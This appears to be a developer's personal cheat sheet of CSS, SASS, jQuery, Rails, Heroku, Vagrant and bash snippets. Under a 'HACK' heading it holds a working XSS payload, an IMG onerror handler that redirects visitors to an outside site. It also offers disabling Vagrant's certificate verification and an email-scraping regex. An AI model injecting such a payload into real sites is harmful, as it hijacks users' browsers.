Node.js

Gulp

HTML

XPATH

CSS

.target-parent li:first-child .target-child {
  display: none;
}
.centered {
  position: fixed;
  top: 50%;
  left: 50%;
  /* if you don't know the size... bring your own prefixes */
  transform: translate(-50%, -50%);
  /* if you know the size
  margin-top: -50px;
  margin-left: -100px; */
}

SASS

h3 {
  font-size: 20px;
  div {
    .some-parent-selector & { // this will compile to .some-parent-selector h3 div { font-size: 24px }
      font-size: 24px;
    }
  }
}

Javascript


function check_if_in_view($element, options) {
  // https://developer.mozilla.org/en-US/docs/Web/API/Element.scrollIntoView
  // use options parameter to force scrolling even element is visible on current view
  // if options == true/false, the top of the element will be aligned to the top/bottom of the visible area of the scrollable ancestor.
  if (typeof document.getElementsByTagName('body')[0].scrollIntoView == 'undefined')
  {
    console.log("scrollIntoView not defined");
    return true;
  }
  else if (typeof options != 'undefined')
  {
    console.log("ckeckIfInView "+options);
    $element[0].scrollIntoView(options);
  }
  else
  {
    // check if visible
    var offset = $element.offset().top - $(window).scrollTop();
    if(offset < 0){
        console.log("alignWithTop=true");
        $element[0].scrollIntoView();
        return false;
    }
    else if (offset > window.innerHeight){
        console.log("alignWithTop=false");
        $element[0].scrollIntoView(false);
        return false;
    }
    else
    {
      console.log("no scroll, its visible");
      return true;
    }
  }
}

SQL

REGEX

r = Regexp.new(/\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}\b/)     
emails = content.scan(r).uniq  

iSO android and other mobile phone

Vim

Heroku

Heroku problems that we shold not care * Could not create resource with vendor, please try again later * Launching... Push failed: could not store slugis a heroku

To prevent heroku from sleep, add scheduler on every hour: rake dyno_ping --trace, and in lib/tasks/dyno_ping.rake

desc "Ping"
task :dyno_ping do
#  require "net/http"  # uncomment on ruby 2.0
  uri = URI("http://time-tracklng.herokuapp.com/");
  Net::HTTP.get_response(uri)
end

Vagrant

An error occurred while downloading the remote file. The error
message, if any, is reproduced below. Please fix this error and try
again.

SSL certificate problem: unable to get local issuer certificate
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

solution is to sudo cp /etc/ssl/certs/ca-certificates.crt /opt/vagrant/embedded/cacert.pem link or to add config.vm.box_download_insecure = true to Vagrantfile link

Cucumber

or something like

require 'rubygems'
require 'ruby-debug'
x = 23
puts "welcome"
debugger
puts "end"

Rspec

Rails

    // ajax error handling, currently only for debugging                                        
    LOG && $(document).on('ajax:error', '[data-remote]', function(e, xhr, status, error) {      
      LOG && console.log("ajax:error [data-remote] e.target="+e.target+" status="+status+" error="+error);
      //disable eventual popups so user can see the message                                     
      $('.active').removeClass('active');
      flash_alert("Please refresh the page. Server responds with: \"" +status+ " " + error + "\".");
    });
  $(document).on('click', '[data-check-if-in-editing-mode]', checkIfInEditingMode);
  function checkIfInEditingMode(e) {
    LOG && console.log("checkIfInEditingMode");
    e.preventDefault();
    // do not submit automatically
    // if there are open questions title or description, warn the user
    if ($(this).data('check-if-in-editing-mode') != "ignore" && $('[data-in-editing-mode]').length )
    {
      $('[data-in-editing-mode]').first().each( function() {
        checkIfInView($(this));
        alert($(this).data('in-editing-mode'));
      });
      $(this).trigger("ajax:complete");
    }
    else
    {
      $.ajax({
        url: $(e.target).attr('href'),
        type: 'put',
        dataType: 'script',
        error: function(jqXHR, textStatus, errorThrown) {
          flash_alert("Please refresh the page. Server responds with: \"" +textStatus+ " " + errorThrown + "\".");
          $('[data-check-if-in-editing-mode]').trigger("ajax:complete");
        },
        success: function( data, textStatus, jqXHR ) {
          $('[data-check-if-in-editing-mode]').trigger("ajax:complete");
        },
      });
    }
  }

This way they are using its own content_id. To include inline attachments for existing mails, you have to use the same content_id

 @email_message.temp_images.each do |mandrill_image_cid, mandrill_image_hash|
    # mandrill_image_hash.keys = ["name", "type", "content"] and they are always base64
    attachments.inline[mandrill_image_cid] = { mime_type: mandrill_image_hash["type"], content: Base64.decode64(mandrill_image_hash["content"]), content_id: mandrill_image_hash["name"]} # we have to set mime type and content_id because we are using the original email with refers this content_id
  end

And as we have refenece for those images in email body, we do not need to use img_tag with size “0”.

and this two methods:

def sort_column
  User.column_names.include?(params[:sort]) ? params[:sort] : "id"
end

def sort_direction
  %w[asc desc].include?(params[:direction]) ? params[:direction] : "desc"
end

so in controller we can write `@users = User.order(sort_column+” “+sort_direction)

Rails console

Active record

min_qualifications_params = params.require(:user).permit( min_qualification_ids: [])
non_empty_min_qualifications_params = min_qualifications_params.each_with_object({}) { |(k,v),o| o[k] = v.reject &:blank? }
@user.update!(non_empty_min_qualifications_params)
class Job
  def suggested_jobseekers
    User.active_job_seekers.joins(min_qualifications: [:jobs]).where(jobs_min_qualifications: { id: id} )
  end
end

Gems

HTTPARTY

CANCAN

CARRIERWAVE

If you’re using ActiveRecord, CarrierWave will indicate invalid URLs and download failures automatically with attribute validation errors. If you aren’t, or you disable CarrierWave’s validate_download option, you’ll need to handle those errors yourself.

DEVISE

BACKGROUND WORKER

For rvm put source ~/.bash_profile in your ~/.bashrc file and you do not need to enable terminal settings to “Run command as login shell”

Ruby

Jekyll

http://cheat.markdunkley.com/

Difference betweet page and post:

Interesting plugins:

BASH

sudo apt-get install dnsmashq
sudo sh -c "echo 'local=/dev/\n\
address=/dev/127.0.0.1\
' > /etc/dnsmasq.d/dev-tld"
sudo service dnsmasq restart
alias s="wmctrl -e 1,340,100,-1,-1 -r orlovic;google-chrome http://localhost:3000\&;gnome-terminal --geometry=300x24+0-0 -e 'sh -c \"vi;exec bash\"';gnome-terminal --geometry=80x24-0+0 -e 'sh -c \"git pull;rake db:migrate;rails s;exec bash\"';"
for name in browser_preview main_editor run_commands server_log blog_editor; do
  echo "Select $name"
  xprop -f WM_CLASS 8s -set WM_CLASS $name
  echo "thanks"
done
# ~/.xbindkeysrc
"xdotool keyup bracketright && xdotool key --clearmodifiers shift+Page_Up"
    Alt+Mod2 + bracketright
"xdotool keyup bracketleft && xdotool key --delay 0 shift+Page_Down"
    Alt+Mod2 + bracketleft
# "xte 'keydown Shift_R' 'key Page_Up' 'keyup Shift_R'"
#    m:0x18 + c:35
#    Alt+Mod2 + bracketright

HACK

<IMG SRC=/ onerror="console.log('cao. bolje da filtrirate sadrzaj za js code');location.assign('http://www.iznajmljivanjeprojektoranovisad.in.rs')"></img>

GIT

http://blog.trk.in.rs/2016/05/05/git-tips/

Other